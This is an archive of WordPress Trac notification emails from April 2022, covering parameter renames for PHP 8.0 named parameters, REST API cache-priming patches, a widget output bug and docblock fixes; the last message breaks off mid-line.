WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:36:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:36:44 -0000 Subject: [wp-trac] [WordPress Trac] #55352: Improve cache key generation in WP_Term_Query In-Reply-To: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> References: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> Message-ID: <071.c8890c453638322fb335d9fc65dc3fc2@wordpress.org> #55352: Improve cache key generation in WP_Term_Query --------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.7 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: performance --------------------------------------+--------------------------- Changes (by spacedmonkey): * status: closed => reopened * resolution: fixed => Comment: Reopenning as new PR to review - [https://github.com/WordPress/wordpress- develop/pull/2630/ #2630] -- Ticket URL: <https://core.trac.wordpress.org/ticket/55352#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:39:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:39:33 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.484b30a1b6d59341d5fd2c9e4262a54e@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53272" 53272]: {{{ #!CommitTicketReference repository="" revision="53272" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-comment-query.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$string` parameter to `$search` in `WP_Comment_Query::get_search_sql()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270], [53271]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:50> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:40:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:40:45 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.a26ea178d4f54ee75d4fa796492634c7@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53273" 53273]: {{{ #!CommitTicketReference repository="" revision="53273" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-network-query.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$string` parameter to `$search` in `WP_Network_Query::get_search_sql()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270], [53271], [53272]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:51> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:41:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:41:47 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.923f8bb0d51ef722af7df19c2a410a4d@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53274" 53274]: {{{ #!CommitTicketReference repository="" revision="53274" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-site-query.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$string` parameter to `$search` in `WP_Site_Query::get_search_sql()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270], [53271], [53272], [53273]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:52> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:42:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:42:54 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.c09d1aedbc9a0711f6cacd4f3ba0c480@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53275" 53275]: {{{ #!CommitTicketReference repository="" revision="53275" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-term-query.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$string` parameter to `$search` in `WP_Term_Query::get_search_sql()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270], [53271], [53272], [53273], [53274]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:53> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 11:44:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 11:44:37 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.8e7fadb6ab4bd71c475b7a5d49e56822@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53276" 53276]: {{{ #!CommitTicketReference repository="" revision="53276" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-user-query.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$string` parameter to `$search` in `WP_User_Query::get_search_sql()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270], [53271], [53272], [53273], [53274], [53275]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:54> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 12:53:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 12:53:10 -0000 Subject: [wp-trac] [WordPress Trac] #55620: Prime caches linked objects in menu item REST API Message-ID: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> #55620: Prime caches linked objects in menu item REST API -----------------------------------+----------------------------- Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: REST API | Version: 5.9 Severity: normal | Keywords: needs-patch Focuses: rest-api, performance | -----------------------------------+----------------------------- Follow on from [52975]. Ensure that all the linked objects, such as terms and posts that are linked to a menu item, are primed in cache, in the menu item controller. This will result in far less database queries per page. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55620> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 12:58:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 12:58:15 -0000 Subject: [wp-trac] [WordPress Trac] #55448: WP_Widget_Block outputs empty container if widget has no output In-Reply-To: <058.aa6e76f89b6bf6a1bd18b3d2b12c863b@wordpress.org> References: <058.aa6e76f89b6bf6a1bd18b3d2b12c863b@wordpress.org> Message-ID: <073.ab4eaf93011a647c5fdb6073bf54f57b@wordpress.org> #55448: WP_Widget_Block outputs empty container if widget has no output -------------------------------------+--------------------- Reporter: stiofansisland | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Widgets | Version: 5.9.2 Severity: major | Resolution: Keywords: has-patch needs-testing | Focuses: ui -------------------------------------+--------------------- Comment (by welcher): The code looks good to me. I've not had a chance to test locally though. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55448#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 12:59:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 12:59:47 -0000 Subject: [wp-trac] [WordPress Trac] #55620: Prime caches linked objects in menu item REST API In-Reply-To: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> References: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> Message-ID: <071.79bfeb34e0cd044b3586c43ef77990c7@wordpress.org> #55620: Prime caches linked objects in menu item REST API --------------------------+------------------------------------ Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch | Focuses: rest-api, performance --------------------------+------------------------------------ Changes (by spacedmonkey): * owner: (none) => spacedmonkey * status: new => assigned -- Ticket URL: <https://core.trac.wordpress.org/ticket/55620#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 13:03:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 13:03:13 -0000 Subject: [wp-trac] [WordPress Trac] #55620: Prime caches linked objects in menu item REST API In-Reply-To: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> References: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> Message-ID: <071.3b9e93d969ce383d616259bc1bff2d77@wordpress.org> #55620: Prime caches linked objects in menu item REST API --------------------------+------------------------------------ Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: needs-patch | Focuses: rest-api, performance --------------------------+------------------------------------ Changes (by spacedmonkey): * keywords: has-patch => needs-patch Comment: Related: #55593 #55592 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55620#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 13:03:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 13:03:32 -0000 Subject: [wp-trac] [WordPress Trac] #55620: Prime caches linked objects in menu item REST API In-Reply-To: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> References: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> Message-ID: <071.3d4bb90e56c1816dc34a202828580ee7@wordpress.org> #55620: Prime caches linked objects in menu item REST API ----------------------------------------+---------------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch needs-unit-tests | Focuses: rest-api, | performance ----------------------------------------+---------------------------------- Changes (by spacedmonkey): * keywords: needs-patch => has-patch needs-unit-tests -- Ticket URL: <https://core.trac.wordpress.org/ticket/55620#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 13:07:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 13:07:02 -0000 Subject: [wp-trac] [WordPress Trac] #55620: Prime caches linked objects in menu item REST API In-Reply-To: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> References: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> Message-ID: <071.102a7b6a3e681ef18e2b569be0a7657f@wordpress.org> #55620: Prime caches linked objects in menu item REST API ----------------------------------------+---------------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch needs-unit-tests | Focuses: rest-api, | performance ----------------------------------------+---------------------------------- Changes (by spacedmonkey): * Attachment "Screenshot 2022-04-26 at 14.05.55.png" added. Before change -- Ticket URL: <https://core.trac.wordpress.org/ticket/55620> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 13:07:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 13:07:36 -0000 Subject: [wp-trac] [WordPress Trac] #55620: Prime caches linked objects in menu item REST API In-Reply-To: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> References: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> Message-ID: <071.5817d0cdb98bfa089e61c45f80cc3c1d@wordpress.org> #55620: Prime caches linked objects in menu item REST API ----------------------------------------+---------------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch needs-unit-tests | Focuses: rest-api, | performance ----------------------------------------+---------------------------------- Changes (by spacedmonkey): * Attachment "Screenshot 2022-04-26 at 14.05.12.png" added. After change -- Ticket URL: <https://core.trac.wordpress.org/ticket/55620> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 13:16:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 13:16:24 -0000 Subject: [wp-trac] [WordPress Trac] #54983: The post has already been deleted. In-Reply-To: <054.b565d5fc304533066dbe4bca29195998@wordpress.org> References: <054.b565d5fc304533066dbe4bca29195998@wordpress.org> Message-ID: <069.6501d604a618444c86c951cb3ed4928b@wordpress.org> #54983: The post has already been deleted. -------------------------------------------------+------------------------- Reporter: sumitsingh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: 5.4 Severity: normal | Resolution: Keywords: has-screenshots has-patch has- | Focuses: testing-info needs-testing dev-feedback | administration -------------------------------------------------+------------------------- Comment (by ugyensupport): @rinkychowdhury9 I would agree with you too, I could see the same result. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54983#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 13:23:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 13:23:32 -0000 Subject: [wp-trac] [WordPress Trac] #55448: WP_Widget_Block outputs empty container if widget has no output In-Reply-To: <058.aa6e76f89b6bf6a1bd18b3d2b12c863b@wordpress.org> References: <058.aa6e76f89b6bf6a1bd18b3d2b12c863b@wordpress.org> Message-ID: <073.db1bfab740f3f551529b0c39bd4fe419@wordpress.org> #55448: WP_Widget_Block outputs empty container if widget has no output -------------------------------------+--------------------- Reporter: stiofansisland | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Widgets | Version: 5.9.2 Severity: major | Resolution: Keywords: has-patch needs-testing | Focuses: ui -------------------------------------+--------------------- Comment (by stiofansisland): If there is anything i can do to help with testing (demo sites etc) please let me know. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55448#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 13:23:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 13:23:47 -0000 Subject: [wp-trac] [WordPress Trac] #55620: Prime caches linked objects in menu item REST API In-Reply-To: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> References: <056.575ab4d4816db40ed00de07921bc3148@wordpress.org> Message-ID: <071.12be4bb715c046cb9579709db7089627@wordpress.org> #55620: Prime caches linked objects in menu item REST API ----------------------------------------+---------------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: Awaiting Review Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch needs-unit-tests | Focuses: rest-api, | performance ----------------------------------------+---------------------------------- Comment (by spacedmonkey): I have put together a very simple patch, that needs to work results are promising. See the before and after screenshots. Before 31 queries vs after 19. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55620#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 13:27:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 13:27:15 -0000 Subject: [wp-trac] [WordPress Trac] #55621: Prime user meta in User REST API endpoint Message-ID: <056.760a4daff167a2f18d8fd3931c64584d@wordpress.org> #55621: Prime user meta in User REST API endpoint --------------------------+----------------------------- Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: REST API | Version: 4.7 Severity: normal | Keywords: Focuses: performance | --------------------------+----------------------------- Ensure that user meta is primed in User REST API endpoint. Without being primed, this results in a single query per user in a /wp/v2/users query. See screenshot. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55621> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 13:31:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 13:31:02 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.5cb988d7acb2e6de51535baef0c37dee@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53277" 53277]: {{{ #!CommitTicketReference repository="" revision="53277" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-query.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$array` parameter to `$query_vars` in `WP_Query::fill_query_vars()`. * Renames the `$default` parameter to `$default_value` in `WP_Query::get()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270], [53271], [53272], [53273], [53274], [53275], [53276]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:55> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 13:40:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 13:40:12 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.52b69aaf4de17c7b8f41303b79134d52@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg --------------------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53278" 53278]: {{{ #!CommitTicketReference repository="" revision="53278" Editor: Update WordPress packages for 6.0 Beta 3 Included cherry-picked commits from the Gutenberg plugin that fix bugs discovere after WordPress 6.0 Beta 2. Props zieladam, ndiego. See #55567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:46> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 13:43:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 13:43:11 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.c60775a94e34590d98bac915462ce2c8@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53279" 53279]: {{{ #!CommitTicketReference repository="" revision="53279" Docs: Correct alignment for the `customize_nav_menu_available_items` filter DocBlock. Follow-up to [53245]. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:90> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 14:02:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 14:02:29 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.71250876f3ba05c644d91e3b0fff587a@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53280" 53280]: {{{ #!CommitTicketReference repository="" revision="53280" Docs: Add missing documentation for `WP_*_Query::get_search_sql()` method parameters. Includes renaming the `$cols` parameter to `$columns` for consistency across the classes. Follow-up to [42876], [53272-53276]. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:91> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 14:24:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 14:24:30 -0000 Subject: [wp-trac] [WordPress Trac] #49412: Store filesize media metadata In-Reply-To: <048.d8ea2d9b63398331a26540a3bcf35c2c@wordpress.org> References: <048.d8ea2d9b63398331a26540a3bcf35c2c@wordpress.org> Message-ID: <063.51bcd25178ad9925f540a75f14cf3fe3@wordpress.org> #49412: Store filesize media metadata ---------------------------------------------+--------------------------- Reporter: Cybr | Owner: spacedmonkey Type: feature request | Status: reopened Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: performance ---------------------------------------------+--------------------------- Changes (by desrosj): * status: closed => reopened * resolution: fixed => Comment: Reopening to get some clarity on comment:55:ticket:49412. -- Ticket URL: <https://core.trac.wordpress.org/ticket/49412#comment:56> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 14:26:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 14:26:52 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.6c4db765619a53d4f08190641737b8ba@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53281" 53281]: {{{ #!CommitTicketReference repository="" revision="53281" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-query.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$list` parameter to `$status` in `WP_Dependencies::query()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242], [53243], [53245], [53246], [53257], [53269], [53270], [53271], [53272], [53273], [53274], [53275], [53276], [53277]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:56> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 14:40:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 14:40:23 -0000 Subject: [wp-trac] [WordPress Trac] #55621: Prime user meta in User REST API endpoint In-Reply-To: <056.760a4daff167a2f18d8fd3931c64584d@wordpress.org> References: <056.760a4daff167a2f18d8fd3931c64584d@wordpress.org> Message-ID: <071.d14bf750a5306bcd027389b360545e37@wordpress.org> #55621: Prime user meta in User REST API endpoint --------------------------+------------------------------ Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: REST API | Version: 4.7 Severity: normal | Resolution: Keywords: | Focuses: performance --------------------------+------------------------------ Changes (by spacedmonkey): * Attachment "Screenshot 2022-04-26 at 15.38.12.png" added. Before -- Ticket URL: <https://core.trac.wordpress.org/ticket/55621> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 14:40:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 14:40:39 -0000 Subject: [wp-trac] [WordPress Trac] #55621: Prime user meta in User REST API endpoint In-Reply-To: <056.760a4daff167a2f18d8fd3931c64584d@wordpress.org> References: <056.760a4daff167a2f18d8fd3931c64584d@wordpress.org> Message-ID: <071.1f47f872682d9dc0d9a91d0db89c9c63@wordpress.org> #55621: Prime user meta in User REST API endpoint --------------------------+------------------------------ Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: REST API | Version: 4.7 Severity: normal | Resolution: Keywords: | Focuses: performance --------------------------+------------------------------ Changes (by spacedmonkey): * Attachment "Screenshot 